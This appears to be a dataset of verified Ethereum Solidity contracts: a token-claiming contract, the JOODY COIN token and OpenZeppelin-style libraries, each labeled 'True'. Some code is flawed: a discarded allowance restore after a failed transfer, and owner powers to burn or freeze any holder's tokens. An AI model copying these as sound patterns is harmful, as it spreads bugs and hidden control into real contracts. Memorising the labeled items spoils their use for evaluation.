amount) public { require(minters[msg.sender], "!minter"); _mint(account, amount); } function setGovernance(address _governance) public { require(msg.sender == governance, "!governance"); governance = _governance; } function addMinter(address _minter) public { require(msg.sender == governance, "!governance"); minters[_minter] = true; } function removeMinter(address _minter) public { require(msg.sender == governance, "!governance"); minters[_minter] = false; } }

True

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/** *Submitted for verification at Etherscan.io on 2021-08-25 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.7; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () { } function _msgSender() internal view returns (address payable) { return payable(msg.sender); } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract Claiming is Ownable{ using SafeMath for uint256; /** * Structure of an object to pass for allowance list */ struct allowedUser { address wallet; uint256 amount; } IERC20 public token; bool internal isClaimOpen; uint256 internal totalUnclaimed; mapping(address => uint256) allowanceAmounts; constructor(IERC20 _token){ token = _token; isClaimOpen = false; totalUnclaimed = 0; } event UnsuccessfulTransfer(address recipient); /** * Ensures that claiming tokens is currently allowed by the owner. */ modifier openClaiming() { require( isClaimOpen, "Claiming tokens is not currently allowed." ); _; } /** * Ensures that the amount of claimed tokens is not bigger than the user is allowed to claim. */ modifier userHasEnoughClaimableTokens (uint256 amount) { require( allowanceAmounts[msg.sender] >= amount, "The users token amount is smaller than the requested." ); _; } /** * Ensures that contract has enough tokens for the transaction. */ modifier enoughContractAmount(uint256 amount) { require( token.balanceOf(address(this)) >= amount, "Owned token amount is too small." ); _; } /** * Ensures that only people from the allowance list can claim tokens. */ modifier userHasClaimableTokens() { require( allowanceAmounts[msg.sender] > 0, "There is no tokens for the user to claim or the user is not allowed to do so." ); _; } modifier hasContractTokens() { require( token.balanceOf(address(this)) > 0, "There is no tokens for the user to claim or the user is not allowed to do so." ); _; } /** @dev Transfers the spacified number of tokens to the user requesting * * Substracts the requested amount of tokens from the allowance amount of the user * Transfers tokens from contract to the message sender * In case of failure restores the previous allowance amount * * Requirements: * * - message sender cannot be address(0) and has to be in AllowanceList */ function claimCustomAmountTokens(uint256 amount) public openClaiming userHasEnoughClaimableTokens(amount) enoughContractAmount(amount) { require(msg.sender != address(0), "Sender is address zero"); allowanceAmounts[msg.sender] = allowanceAmounts[msg.sender].sub(amount); token.approve(address(this), amount); if (!token.transferFrom(address(this), msg.sender, amount)){ allowanceAmounts[msg.sender].add(amount); emit UnsuccessfulTransfer(msg.sender); } else { totalUnclaimed = totalUnclaimed.sub(amount); } } /** @dev Transfers the spacified number of tokens to the user requesting * * Makes the allowance equal to zero * Transfers all allowed tokens from contract to the message sender * In case of failure restores the previous allowance amount * * Requirements: * * - message sender cannot be address(0) and has to be in AllowanceList */ function claimRemainingTokens() public openClaiming userHasClaimableTokens { require(msg.sender != address(0), "Sender is address zero"); uint256 amount = allowanceAmounts[msg.sender]; require(token.balanceOf(address(this)) >= amount, "Insufficient amount of tokens in contract"); allowanceAmounts[msg.sender] = 0; token.approve(address(this), amount); if (!token.transferFrom(address(this), msg.sender, amount)){ allowanceAmounts[msg.sender] = amount; emit UnsuccessfulTransfer(msg.sender); } else{ totalUnclaimed = totalUnclaimed.sub(amount); } } /** @dev Adds the provided address to Allowance list with allowed provided amount of tokens * Available only for the owner of contract */ function addToAllowanceListSingle(address addAddress, uint256 amount) public onlyOwner { allowanceAmounts[addAddress] = allowanceAmounts[addAddress].add(amount); totalUnclaimed = totalUnclaimed.add(amount); } /** @dev Adds the provided address to Allowance list with allowed provided amount of tokens * Available only for the owner */ function substractFromAllowanceListSingle(address subAddress, uint256 amount) public onlyOwner { require(allowanceAmounts[subAddress] != 0, "The address does not have allowance to substract from."); allowanceAmounts[subAddress] = allowanceAmounts[subAddress].sub(amount); totalUnclaimed = totalUnclaimed.sub(amount); } /** @dev Adds the provided address list to Allowance list with allowed provided amounts of tokens * Available only for the owner */ function addToAllowanceListMultiple(allowedUser[] memory addAddresses) public onlyOwner { for (uint256 i = 0; i < addAddresses.length; i++) { allowanceAmounts[addAddresses[i].wallet] = allowanceAmounts[addAddresses[i].wallet].add(addAddresses[i].amount); totalUnclaimed = totalUnclaimed.add(addAddresses[i].amount); } } /** @dev Removes the provided address from Allowance list by setting his allowed sum to zero * Available only for the owner of contract */ function removeFromAllowanceList(address remAddress) public onlyOwner { totalUnclaimed = totalUnclaimed.sub(allowanceAmounts[remAddress]); delete allowanceAmounts[remAddress]; } /** @dev Allows the owner to turn the claiming on. */ function turnClaimingOn() public onlyOwner { isClaimOpen = true; } /** @dev Allows the owner to turn the claiming off. */ function turnClaimingOff() public onlyOwner { isClaimOpen = false; } /** @dev Allows the owner to withdraw all the remaining tokens from the contract */ function withdrawAllTokensOwner() public onlyOwner { token.approve(address(this), token.balanceOf(address(this))); if (!token.transferFrom(address(this), msg.sender, token.balanceOf(address(this)))){ emit UnsuccessfulTransfer(msg.sender); } } /** @dev Allows the owner to withdraw the specified amount of tokens from the contract */ function withdrawCustomTokensOwner(uint256 amount) public onlyOwner enoughContractAmount(amount) { token.approve(address(this), amount); if (!token.transferFrom(address(this), msg.sender, amount)){ emit UnsuccessfulTransfer(msg.sender); } } /** @dev Allows the owner to withdraw the residual tokens from the contract */ function withdrawResidualTokensOwner() public onlyOwner { uint256 amount = token.balanceOf(address(this)).sub(totalUnclaimed); require(token.balanceOf(address(this)) >= amount, "Insufficient amount of tokens in contract"); token.approve(address(this), amount); if (!token.transferFrom(address(this), msg.sender, amount)){ emit UnsuccessfulTransfer(msg.sender); } } /** @dev Allows the owner to withdraw the specified amount of any IERC20 tokens from the contract */ function withdrawAnyContractTokens(IERC20 tokenAddress, address recipient) public onlyOwner { require(msg.sender != address(0), "Sender is address zero"); require(recipient != address(0), "Receiver is address zero"); tokenAddress.approve(address(this), tokenAddress.balanceOf(address(this))); if(!tokenAddress.transferFrom(address(this), recipient, tokenAddress.balanceOf(address(this)))){ emit UnsuccessfulTransfer(msg.sender); } } /** @dev Shows the amount of total unclaimed tokens in the contract */ function totalUnclaimedTokens() public view onlyOwner returns (uint256) { return totalUnclaimed; } /** @dev Shows the residual tokens of the user sending request */ function myResidualTokens() public view returns (uint256) { return allowanceAmounts[msg.sender]; } /** @dev Shows the owner residual tokens of any address (owner only function) */ function residualTokensOf(address user) public view onlyOwner returns (uint256) { return allowanceAmounts[user]; } /** @dev Shows the amount of total tokens in the contract */ function tokenBalance() public view returns (uint256) { return token.balanceOf(address(this)); } /** @dev Shows whether claiming is allowed right now. */ function isClaimingOn() public view returns (bool) { return isClaimOpen; } }

True

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/** *Submitted for verification at Etherscan.io on 2021-06-06 */ /** *Submitted for verification at Etherscan.io on 2021-06-06 */ // ---------------------------------------------------------------------------- // JOODY COIN Contract // Name : JOODY COIN // Symbol : JOODY // Decimals : 18 // InitialSupply : 2,000,000,000 JOODY // ---------------------------------------------------------------------------- pragma solidity 0.5.8; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); } } contract JOODYCOIN is ERC20 { string public constant name = "JOODY COIN"; string public constant symbol = "JOODY"; uint8 public constant decimals = 18; uint256 public constant initialSupply = 2000000000 * (10 ** uint256(decimals)); constructor() public { super._mint(msg.sender, initialSupply); owner = msg.sender; } address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); modifier onlyOwner() { require(msg.sender == owner, "Not owner"); _; } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0), "Already Owner"); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused, "Paused by owner"); _; } modifier whenPaused() { require(paused, "Not paused now"); _; } function pause() public onlyOwner whenNotPaused { paused = true; emit Pause(); } function unpause() public onlyOwner whenPaused { paused = false; emit Unpause(); } event Frozen(address target); event Unfrozen(address target); mapping(address => bool) internal freezes; modifier whenNotFrozen() { require(!freezes[msg.sender], "Sender account is locked."); _; } function freeze(address _target) public onlyOwner { freezes[_target] = true; emit Frozen(_target); } function unfreeze(address _target) public onlyOwner { freezes[_target] = false; emit Unfrozen(_target); } function isFrozen(address _target) public view returns (bool) { return freezes[_target]; } function transfer( address _to, uint256 _value ) public whenNotFrozen whenNotPaused returns (bool) { releaseLock(msg.sender); return super.transfer(_to, _value); } function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns (bool) { require(!freezes[_from], "From account is locked."); releaseLock(_from); return super.transferFrom(_from, _to, _value); } event Burn(address indexed burner, uint256 value); function burn(address _who, uint256 _value) public onlyOwner { require(_value <= super.balanceOf(_who), "Balance is too small."); _burn(_who, _value); emit Burn(_who, _value); } struct LockInfo { uint256 releaseTime; uint256 balance; } mapping(address => LockInfo[]) internal lockInfo; event Lock(address indexed holder, uint256 value, uint256 releaseTime); event Unlock(address indexed holder, uint256 value); function balanceOf(address _holder) public view returns (uint256 balance) { uint256 lockedBalance = 0; for(uint256 i = 0; i < lockInfo[_holder].length ; i++ ) { lockedBalance = lockedBalance.add(lockInfo[_holder][i].balance); } return super.balanceOf(_holder).add(lockedBalance); } function releaseLock(address _holder) internal { for(uint256 i = 0; i < lockInfo[_holder].length ; i++ ) { if (lockInfo[_holder][i].releaseTime <= now) { _balances[_holder] = _balances[_holder].add(lockInfo[_holder][i].balance); emit Unlock(_holder, lockInfo[_holder][i].balance); lockInfo[_holder][i].balance = 0; if (i != lockInfo[_holder].length - 1) { lockInfo[_holder][i] = lockInfo[_holder][lockInfo[_holder].length - 1]; i--; } lockInfo[_holder].length--; } } } function lockCount(address _holder) public view returns (uint256) { return lockInfo[_holder].length; } function lockState(address _holder, uint256 _idx) public view returns (uint256, uint256) { return (lockInfo[_holder][_idx].releaseTime, lockInfo[_holder][_idx].balance); } function lock(address _holder, uint256 _amount, uint256 _releaseTime) public onlyOwner { require(super.balanceOf(_holder) >= _amount, "Balance is too small."); _balances[_holder] = _balances[_holder].sub(_amount); lockInfo[_holder].push( LockInfo(_releaseTime, _amount) ); emit Lock(_holder, _amount, _releaseTime); } function unlock(address _holder, uint256 i) public onlyOwner { require(i < lockInfo[_holder].length, "No lock information."); _balances[_holder] = _balances[_holder].add(lockInfo[_holder][i].balance); emit Unlock(_holder, lockInfo[_holder][i].balance); lockInfo[_holder][i].balance = 0; if (i != lockInfo[_holder].length - 1) { lockInfo[_holder][i] = lockInfo[_holder][lockInfo[_holder].length - 1]; } lockInfo[_holder].length--; } function transferWithLock(address _to, uint256 _value, uint256 _releaseTime) public onlyOwner returns (bool) { require(_to != address(0), "wrong address"); require(_value <= super.balanceOf(owner), "Not enough balance"); _balances[owner] = _balances[owner].sub(_value); lockInfo[_to].push( LockInfo(_releaseTime, _value) ); emit Transfer(owner, _to, _value); emit Lock(_to, _value, _releaseTime); return true; } }

True

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/** *Submitted for verification at Etherscan.io on 2021-05-05 */ pragma solidity ^0.6.12; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply 